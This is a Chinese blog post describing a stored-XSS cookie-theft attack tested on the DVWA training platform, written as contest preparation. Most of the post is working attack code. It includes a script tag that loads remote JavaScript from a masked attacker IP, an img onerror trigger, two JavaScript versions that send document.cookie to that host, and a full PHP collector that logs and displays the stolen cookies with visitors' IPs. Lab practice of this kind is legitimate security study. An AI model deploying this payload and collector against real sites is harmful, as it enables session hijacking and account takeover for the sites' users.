面临比赛,有一题是要求写出接收Cookies的脚本,于是模拟了一下XSS环境。

PS:不考虑WAF等过滤

首先该XSS是存储型的,目前DVAW安全级别为low。

好久不写Web网页–竟然忘了跨域了==一开始代码是这样写的xss

先在服务器上放一个js,xss去加载它。

加载xss很简单:

<script type="text/javascript" src="http://xxx.xxx.xxx.xx/getCookies.js"></script>
<img src="#" onerror="cccgood();"/>

很好理解的一段代码,远程引入js。创造一个破碎图片,利用错误消息机制调用js的cccgood()函数

getCookies.js:

function cccgood () {
	//为方便测试不考虑IE,小伙伴们都配备了Chrome
	xmlhttp = new XMLHttpRequest();
	xmlhttp.open("GET","http://xxx.xxx.xxx.xxx/a.php?ccc="+escape(document.cookie));
	xmlhttp.send();
}

很不幸–Origin null is not allowed by Access-Control-Allow-Origin.

0.0….so我们换种思路,每个src都是一次get~~那么,我们可以用一个不可见的img去src一下。之所以用远程文件是为了解决Payload的字数限制。所以这样写:

function cccgood () {
	var img = document.createElement("img");
	img.src="http://xxx.xxx.xxx.xxx/a.php?ccc="+escape(document.cookie);
	document.body.appendChild("img");
}

escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。防止Cookies带一些特殊字符。

这样就成功的避过了跨域检查。

另付上接收php(我的小伙伴@Zero 提供)

a.php

<?php
if(isset($_GET['ccc']))
{
	if(!empty($_GET['ccc']))
	{
		$ccc = date("y-m-d h:i:s  ",time())." Cookies:".$_GET['ccc'];
		$user_IP = $_SERVER["REMOTE_ADDR"];
		$content="[".$user_IP."] ".$ccc;
		$fp=fopen("ccc.txt","a");
		fwrite($fp,$content."\r\n");
		fclose($fp);
		echo "Your Cookie :<br><br> $content<br><br><br><hr>";
	}
}
echo "All Cookie :<br><br>";
$fp=fopen("ccc.txt","r");
while (!feof($fp))
{
    $bruce=fgets($fp);
    echo $bruce."<br>";
}
fclose($fp);
?>

 

页面下部广告

1 对 “XSS之Cookie窃取(DVAW平台测试)”的想法;

yemao进行回复 取消回复

电子邮件地址不会被公开。 必填项已用*标注

*

鲁ICP备17018668号-1